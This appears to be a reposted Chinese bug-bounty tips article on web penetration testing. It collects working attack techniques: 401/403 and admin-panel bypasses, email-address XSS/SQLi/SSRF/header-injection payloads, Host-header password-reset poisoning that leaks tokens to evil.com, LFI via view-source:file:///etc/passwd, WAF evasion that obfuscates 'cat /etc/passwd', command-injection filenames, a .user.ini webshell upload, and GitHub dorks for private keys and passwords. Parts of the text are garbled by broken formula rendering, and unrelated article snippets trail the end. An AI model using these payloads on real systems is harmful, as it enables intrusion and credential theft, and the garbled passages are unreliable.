渗透测试漏洞挖掘技巧

news2025/1/9 11:11:31

文章目录

  • 一、使用.json进行敏感数据泄漏
  • 二、如何查找身份验证绕过漏洞
  • 三、在Drupal上找到隐藏的页面
  • 四、遗忘的数据库备份
  • 五、电子邮件地址payloads
  • 六、HTTP主机头:localhost
  • 七、通过篡改URI访问管理面板
  • 八、通过URL编码空格访问管理面板
  • 九、篡改URI绕过403
  • 十、Bypass401、403
  • 十一、文件上传引申其他漏洞
  • 十二、文件上传.user.ini绕过
  • 十三、密码中毒绕过账户接管
  • 十四、查看源代码来查找LFI
  • 十五、在访问admin路径面板时可以通过添加%20来绕过
  • 十六、使用通配符绕Waf
  • 十七、绕过邮件过滤导致Sql注入
  • 十八、手机发送短信时间被限制
  • 十九、图片验证码
  • 二十、模板注入
  • 二十一、使用github dorks帮助我们寻找一些敏感信息

一、使用.json进行敏感数据泄漏

这是使用.json扩展名实现敏感数据泄漏的提示。
请求:GET /ResetPassword HTTP/1.1{“email”:“victim@example.com”}
响应:HTTP/1.1 200 OK

e.g.
请求:GET /ResetPassword.json HTTP/1.1{“email”:“victim@example.com”}
响应:HTTP/1.1 200 OK{“success”:“true”,“token”:“596a96-cc7bf-9108c-d896f-33c44a-edc8a”}
请注意,在我们的请求中添加了.json扩展名,这导致获得了秘密令牌!

二、如何查找身份验证绕过漏洞

这是一个有趣的提示,可以帮助您找到身份验证绕过漏洞:
请求:GET /delete?user=test HTTP/1.1
响应:HTTP/1.1 401 Unauthorized

现在让我们尝试一下:
请求:GET /delete?user=test HTTP/1.1 X-Custom-IP-Authorization: 127.0.0.1
响应:HTTP/1.1 302 Found
这在前端使用添加的自定义HTTP标头(X-Custom-IP-Authorization)的情况下可能有效-例如,当它用于标识通过负载均衡器连接到Web服务器的客户端的原始IP地址时。
通过将自己标识为127.0.0.1,我们可以规避Web应用程序的访问控制并执行特权操作。

三、在Drupal上找到隐藏的页面

如果您正在Drupal网站上找漏洞,在‘/node/ ’上使用 B u r p S u i t e I n t r u d e r (或其他类似工具)进行模糊测试,其中’ ’ 上使用Burp Suite Intruder(或其他类似工具)进行模糊测试,其中’ 上使用BurpSuiteIntruder(或其他类似工具)进行模糊测试,其中’是一个数字(从1到500)。
例如:
https://target.com/node/1
https://target.com/node/2
https://target.com/node/3

https://target.com/node/499
https://target.com/node/500
很有可能我们会找到搜索引擎未引用的隐藏页面(测试,开发)。

四、遗忘的数据库备份

这是使用此小型但快速的模糊列表查找数据库备份的list:
/back.sql
/backup.sql
/accounts.sql
/backups.sql
/clients.sql
/customers.sql
/data.sql
/database.sql
/database.sqlite
/users.sql
/db.sql
/db.sqlite
/db_backup.sql
/dbase.sql
/dbdump.sql
setup.sql
sqldump.sql
/dump.sql
/mysql.sql
/sql.sql
/temp.sql
旧的数据库转储可能包含各种敏感信息-用户凭证,配置设置,机密和api密钥,客户数据等。

五、电子邮件地址payloads

以下有效载荷都是有效的电子邮件地址,我们不仅可以用于基于Web的电子邮件系统的渗透测试。
XSS(跨站脚本):
test+(”@example.com
模板注入:
“<%=7 * 7 %>”@example.com
test+(${{7*7}})@example.com
SQL注入
“'OR 1=1 – '”@example.com
“mail’);DROP TABLE users;–”@example.com
SSRF(服务器端请求伪造):
john.doe@abc123.burpcollaborator.net
john.doe@[127.0.0.1]
参数污染:
victim&email=attacker@example.com
(电子邮件)标头注入:
“%0d%0aContent-Length:%200%0d%0a%0d%0a”@example.com
“recipient@test.com>\r\nRCPTTO:<victim+”@test.com

六、HTTP主机头:localhost

在目录爆破中将“ Host”标头设置为“ localhost”,结果可能令人惊讶!您可能可以访问:
特殊功能
内部端口
配置文件,SSL密钥
目录列表,等等…
我们甚至可以更进一步,通过执行虚拟主机枚举来尝试标识目标Web服务器上托管的所有站点。使用以下工具:
https://github.com/ffuf/ffuf
https://nmap.org/nsedoc/scripts/http-vhosts.html
https://github.com/jobertabma/virtual-host-discovery
注意,我们也可以使用curl或wget:
curl-v -H “Host: localhost” https://target/
wget-d --header=“Host: localhost” https://target/

七、通过篡改URI访问管理面板

这是通过以下方式篡改URI来访问管理面板的超级简单技巧:
https://target.com/admin/ –> HTTP 302(重定向到登录页面)
https://target.com/admin…;/ –> HTTP 200 OK
也尝试以下技巧,其他人对此推文发表了评论:
https://target.com/…/admin
https://target.com/whatever/…;/admin

八、通过URL编码空格访问管理面板

通过篡改URI并添加额外的空格(%20)来帮助访问受限区域
target.com/admin –> HTTP 302 (重定向到登陆页面)
target.com/admin%20/ -> HTTP 200 OK
target.com/%20admin%20/ -> HTTP 200 OK
target.com/admin%20/page -> HTTP 200 OK
作者能够使用此技巧来发现“身份验证和会话管理”损坏的问题,并访问目标Web应用程序中的管理面板。后端Web服务器是Apache HTTP服务器,但是它也可以在其他地方工作。
Protip:还检查与此非常相似的先前发布的提示(BBT4-5,BBT4-6)。

九、篡改URI绕过403

该技巧与上一个技巧非常相似。通过篡改URI,我们也许可以绕过应用程序的访问控制:
site.com/secret –>禁止HTTP 403
site.com/secret/ ->HTTP 200 OK
site.com/secret/。 –> HTTP 200 ok
site.com//secret// ->HTTP 200 OK
site.com/./secret/… –> HTTP 200 OK
很少见到,但可以尝试一下。

十、Bypass401、403

以下是有关如何绕过403禁止和401未经授权错误的提示列表:
1、通过添加headers:X-Originating-IP,X-Remote-IP,X-Client-IP,X-Forwarded-For等。有时,公司将那些可以访问敏感数据的IP列入白名单。这些标头将IP地址作为值,如果提供的IP与白名单中的IP地址匹配,则您可以访问资源。
2、使用Unicode字符:尝试插入Unicode字符以绕过防御。尝试例如 ℀ = ca,℁= sa以及其他许多选项(在此处或此处检查)。因此,如果/cadmin被阻止,请尝试访问 ℀dmin。检查这对Unicode的黑客技巧短期YouTube视频的更多细节。
3、通过覆盖,用标头覆盖URL:如果GET /admin给您403 Forbidden,请尝试GET /accessible(任何可访问的端点)并添加以下任何HTTP标头:
X-Original-URL: /admin
X-Override-URL: /admin
X-Rewrite-URL: /admin
4、尝试不同的负载:如果GET /admin有403 Forbidden,请尝试访问:
/accessible/…;/admin
/.;/admin
/admin;/
/admin/~
/./admin/./
/admin?param
/%2e/admin
/admin#
5、方法切换:将方法从GET更改为POST,然后看是否有所收获。
6、通过IP,Vhost:通过其IP或Vhost访问该站点以获取禁止的内容。
7、模糊化:进一步对文件或目录进行暴力处理。
Tips:还要检查与此有关的先前发布的提示:Tips-6-6,Tips-4-5和Tips-4-6。

十一、文件上传引申其他漏洞

在Web应用程序中测试文件上传功能时,请尝试将文件名设置为以下值:
…/…/…/tmp/lol.png —> for path traversal
sleep(10)-- -.jpg —> for SQL injection
.jpg/png —> for XSS

; sleep 10; —> for command injections

使用这些Payload,我们可能会触发其他漏洞。

十二、文件上传.user.ini绕过

先上传一个以auto_prepend_file=1.gif为内容的.user.ini文件【用户自定义的配置文件】。.user.ini文件里的意思是:所有的php文件都自动包含1.gif文件,.user.ini相当于一个用户自定义的php.ini。然后再上传一个内容为一句话木马的命名为1.gif的文件。上传成功之后,用webshell管理工具添加该图片的路径,但该图片名改为当前目录下的php文件,例如readme.php,输入密码连接成功
有关 .user.ini 的参考请看:https://blog.csdn.net/weixin_52635170/article/details/126962920

十三、密码中毒绕过账户接管

该漏洞赏金提示演示了密码重置功能的绕过技术,该功能可能会导致ATO(帐户接管)。
考虑以下3个请求:
1、正常要求:
Request:
POST /password-reset?user=123 HTTP/1.1
Host: target.com
Link received:
https://target.com/reset-link=1g2f3guy23g
2、基本HHI(主机头注入):
Request:
POST /password-reset?user=123 HTTP/1.1
Host: evil.com
Link received:
none
Error 404 - request blocked
3、Bypass
Request:
POST https://target.com/password-reset?user=123 HTTP/1.1
Host: evil.com
Link received:
https://evil.com/reset-link=1g2f3guy23g
注意,在绕过中,我们在POST请求中使用了绝对URL。在这种情况下,应完全忽略Host标头。但是,某些后端系统仍会处理它,而前端系统则不处理-只是不一致。
如果成功,这可能会导致严重性较高的错误,从而导致重置令牌泄漏,进而导致帐户接管和特权升级。这是一个真实的错误报告,详细描述了影响。

十四、查看源代码来查找LFI

此漏洞赏金提示对于使用Web浏览器呈现输入到它们的URL的Web应用程序很有用。例如,这可能是Web应用程序的广告预览/数据验证功能。
它也可能是一个Web应用程序,它将获取您的URL并为您截屏。您可以在服务器端呈现URL的任何地方找到它。
好了,现在的实际提示是:
作为一个漏洞搜寻者,您将尝试访问“ file:///etc/passwd”,对吗?但是,如果它被列入黑名单或以某种方式被阻止怎么办?尝试改为访问“ view-source:file:///etc/passwd”!
开发人员经常在黑名单中忘记“查看源代码”功能。

十五、在访问admin路径面板时可以通过添加%20来绕过

target.com/admin –> HTTP 302 (重定向到登录页面)
target.com/admin%20/ -> HTTP 200 OK
target.com/%20admin%20/ -> HTTP 200 OK
target.com/admin%20/page -> HTTP 200 OK

十六、使用通配符绕Waf

如果有WAF(Web应用程序防火墙)过滤您的RCE(远程代码执行)和LFI(本地文件包含)payload(有效负载),则可以尝试使用通配符绕过它。
这是一个例子:
/usr/bin/cat /etc/passwd == /???/???/c?t$IFS/?t?/p?s?wd
Globbing是模式扩展的一种形式,用于匹配特定路径,并且使用以下通配符来实现:
? = any single character

  • = any string, including zero length string!
    Globbing可以在所有流行的平台上使用,包括Windows(CMD,PowerShell),UNIX和Mac。在UNIX平台上,我们还可以使用$ IFS特殊变量替换空白:
    I F S = I n t e r n a l F i e l d S e p a r a t o r = [ s p a c e ] , [ t a b ] o r a [ n e w l i n e ] 例如,所有这些都应在典型的 L i n u x 系统上执行“ / b i n / c a t / e t c / p a s s w d ”: / ∗ / ? a t IFS = Internal Field Separator = [space], [tab] or a [newline] 例如,所有这些都应在典型的Linux系统上执行“/bin/cat/etc/passwd”: /*/?at IFS=InternalFieldSeparator=[space],[tab]ora[newline]例如,所有这些都应在典型的Linux系统上执行“/bin/cat/etc/passwd//?atIFS/???/???swd
    /****/?at I F S / ? ? ? / ∗ s w d / ∗ ∗ ∗ ∗ / ? a t IFS/???/*swd /****/?at IFS/???/swd//?atIFS/???/*******swd

十七、绕过邮件过滤导致Sql注入

在这里插入图片描述在这里插入图片描述

在本示例中,作者可以确定数据库名称的长度为10个字符,作为概念证明。通过使用Sqlmap将其自动化,可以转储整个数据库,甚至可以实现RCE并获得shell程序,具体取决于数据库后端。
请注意,SQL注入是通过将引号(“)放在at(@)字符之前触发的,此处:
“injection_here”@example.com
带引号的电子邮件地址是有效的电子邮件地址,请参阅RFC3696中对电子邮件地址的限制。

十八、手机发送短信时间被限制

手机发送短信时间限制的话,可以在手机号前尝试使用特殊字符,或空格。他的逻辑应该是这样的,用户输入手机号——>后端判断该手机号是否在30秒或者60秒内请求过——>如果没有,判断发送过来的手机号是够是11位的纯数字,如果不是,去掉非数字字符——>和数据库中的手机号比对,是够存在于数据库中,如果存在那么向该手机发送验证码。

十九、图片验证码

图片验证码可设置为空,如:code=undefined

二十、模板注入

在{{xxx}}中输入的命令参数可被执行,如:
www.baidu.com/{{1+1}}

二十一、使用github dorks帮助我们寻找一些敏感信息

比如:
extension:pem private
extension:ppk private
extension:sql mysql dump password
extension:json api.forecast.io
extension:json mongolab.com
extension:yaml mongolab.com
extension:ica [WFClient] Password=
extension:avastlic “support.avast.com”
extension:js jsforce conn.login
extension:json googleusercontent client_secret
“target.com” send_keys
“target.com” password
“target.com” api_key
“target.com” apikey
“target.com” jira_password
“target.com” root_password
“target.com” access_token
“target.com” config
“target.com” client_secret
“target.com” user auth
通过上述语法,可以搜索到一些敏感的私钥,一些SSH登录私钥,mysql的数据库密码,API key等等。
另外推荐一个脚本:https://github.com/techgaun/github-dorks

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1091342.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

C# OpenVINO Cls 图像分类

效果 耗时 class idbrown_bear, score0.86 preprocess time: 0.00ms infer time: 2.72ms postprocess time: 0.02ms Total time: 2.74ms项目 代码 using OpenCvSharp; using Sdcb.OpenVINO; using Sdcb.OpenVINO.Natives; using System; using System.Diagnostics; using Sys…

忘记开机密码啦!我教你用ventoy找回密码

文章目录 一、前言二、实战过程三、动态演示四、原理解析五、总结 一、前言 当你有一天突然忘记了开机密码怎么办&#xff1f;又要上电脑店花个几十块让人弄&#xff1f;在上一章《你该自己学学安装操作系统了&#xff0c;小白一学就会&#xff08;ventoy装系统超详细&#xff…

舍弃Java模式,从头开始,用Rust书写编程的未来

沉迷于Rust之美&#xff1a;类型安全、内存安全、注重正确性&#xff0c;这叫人如何不爱呢&#xff1f; 在开发Apollo&#xff08;一款Python应用&#xff09;时&#xff0c;遇到了许多错误。如果我使用Rust&#xff0c;大多数错误都能被编译器捕获&#xff08;虽然无法做到百…

ubuntu联网图标消失

sudo service NetworkManager stopsudo rm /var/lib/NetworkManager/NetworkManager.statesudo service NetworkManager start执行 sudo rm /var/lib/NetworkManager/NetworkManager.state 命令将删除位于 /var/lib/NetworkManager 目录下的 NetworkManager.state 文件。

(C语言进阶)笔试题详解

一.要点回顾 1.一维整形数组 (1)sizeof()对一维整形数组的应用 #include<stdio.h> int main() {int a[] {1,2,3,4};printf("%d\n", sizeof(a));//16 //sizeof(数组名),数组名表示整个数组&#xff0c;计算的是整个数组的大小&#xff0c;单位是字节printf…

微信小程序备案流程操作详解

1、2023年9月1号小程序开始必须备案了,各位小程序商城只需要按流程自主去微信小程序后台操作即可; 2、对未上架的微信小程序,从2023年9月1号开始需先备案才能上架; 3、对存量已上架的小程序,需在2024年3月31号前完成备案即可。逾期未完成备案,平台将按照备案相关规定于…

英语学习工具推荐

无论您是初学者还是想要巩固英语能力的学习者&#xff0c;我们都为您提供了一个高效而便捷的英语学习工具。 英语复读机&#xff0c;您可以随时输入您想要复读的英语单词、句子或者文章。我们的复读机会循环播放您输入的内容&#xff0c;帮助您加深记忆、提高听力和口语表达能力…

相似性搜索:第 2 部分:产品量化

系列文章前篇&#xff1a;相似性搜索&#xff1a;第 1 部分- kNN 和倒置文件索引_无水先生的博客-CSDN博客 SImilarity 搜索是一个问题&#xff0c;给定一个查询的目标是在所有数据库文档中找到与其最相似的文档。 一、介绍 在数据科学中&#xff0c;相似性搜索经常出现在NLP领…

模式匹配(数据结构)

朴素模式匹配算法 #include <stdlib.h> #include <iostream> #include <stdio.h> #define MaxSize 255typedef struct{char ch[MaxSize];int length; }SString;//初始化 SString InitStr(SString &S){S.length0;return S; } //给串赋值 SString SetStr…

【计算机毕设选题推荐】产品管理系统SpringBoot+SSM+Vue

前言&#xff1a;我是IT源码社&#xff0c;从事计算机开发行业数年&#xff0c;专注Java领域&#xff0c;专业提供程序设计开发、源码分享、技术指导讲解、定制和毕业设计服务 项目名 基于SpringBoot和SSM的产品管理系统 技术栈 SpringBootSSMVueMySQLMaven 文章目录 一、产品…

pip 安装dgl的问题

在该官网链接找到需要的对应包&#xff1a; 官网链接 安装之后可能的问题&#xff1a; 这个时候应该是网络问题导致的&#xff0c;这个时候可以自行前往网站下载 下载之后安装&#xff1a; 发现缺少依赖 p s u t i l psutil psutil&#xff0c;于是前往官网下载&#xff1a;…

C语言数据类型详解

1、什么是数据类型&#xff1f; 计算机编程语言是用来控制计算机的行为及操作&#xff0c;协助人们解决现实中的问题&#xff0c;其能表达的数据类型也是从实际中提取并抽象出来形成的数据结构描述。 例如&#xff1a;数学中数的基础分类有正整数、负整数、小数等类别&#x…

Linux系统编程:makefile以及文件系统编程

增量编译概念 首先回顾一下我们之前写的各种gcc指令用来执行程序&#xff1a; 可以看见非常繁琐&#xff0c;两个文件就要写这么多&#xff0c;那要是成百上千岂不完蛋。 所以为了简化工作量&#xff0c;很自然的想到了将这些命令放在一起使用脚本文件来一键执行&#xff0c…

Python+requests+Excel数据驱动的接口自动化测试中解决接口间数据依赖

在实际的测试工作中&#xff0c;在做接口自动化过程中往往会遇到接口间数据依赖问题&#xff0c;即API_03的请求参数来源与API_02的响应数据&#xff0c;API_02的请求参数又来源与API_01的响应数据&#xff0c;因此通过自动化方式测试API_03接口时&#xff0c;需要预先请求API_…

Linux下将驱动编译进内核

在开发的过程中&#xff0c;一般都是将驱动编译成模块&#xff0c;然后将其发送到开发板加载驱动进行功能验证&#xff0c;驱动的功能验证没有问题后就可以将其编译进内核了。本文将介绍如何把上一篇文章Linux下设备树、pinctrl和gpio子系统、LED灯驱动实验中的LED驱动编译到内…

[题] 前缀和 (含输入输出的耗时对比)

题目 前缀和 题解 前缀和模板 太简单了就多加了点东西:对比cin cout和scanf printf的耗时对比 代码 #include <iostream> using namespace std; const int N 100010; int n, m; int a[N], s[N]; int main(){scanf("%d%d", &n, &m);//原数组 for (in…

CentOS 挂载新磁盘以及磁盘扩容操作教程

1.搭载新加磁盘 # 查看磁盘 fdisk -l #新盘&#xff08;/dev/sdb&#xff09;创建分区 #虚拟机 fdisk /dev/sdb #阿里云 fdisk /dev/vdb #创建/dev/sdb1为新的PV&#xff08;物理卷&#xff09; 【创建物理卷命令】 #虚拟机 pvcreate /dev/sdb1 #阿里云 pvcreate /dev/vdb1 查…

Air001 ADC内部输入通道温度传感器读取

Air001 ADC内部输入通道温度传感器读取 &#x1f4cb;Air001 内部集成的温度传感器说明 &#x1f58d;温度传感器产生一个随温度线性变化的电压。温度传感器在内部被连接到ADC内部的输入通道上&#xff0c;用于将传感器的输出转换成数字数值。 &#x1f4d3;Air001模拟/ 数字转…

CANdb++数据库操作

CANdb数据库操作 创建工程结构文件夹新建数据库&总线描述节点设置节点创建配置Message属性信号设置节点收发信号 环境变量配置一致性检验数据库工程XVehicle.dbc导入工程文件总结 创建工程结构文件夹 在文件夹X-Vehicle-1下&#xff0c;建立工程目录文件夹CANdb&#xff0…

优雅而高效的JavaScript——模板字面量

&#x1f928;博主&#xff1a;小猫娃来啦 &#x1f928;文章核心&#xff1a;优雅而高效的JavaScript——模板字面量 文章目录 什么是模板字面量使用模板字面量插入变量处理多文本模板字面量的高级应用标签模板字量自定义模板字面量函数 常见应用场景拼接字符串HTML模板SQL查询…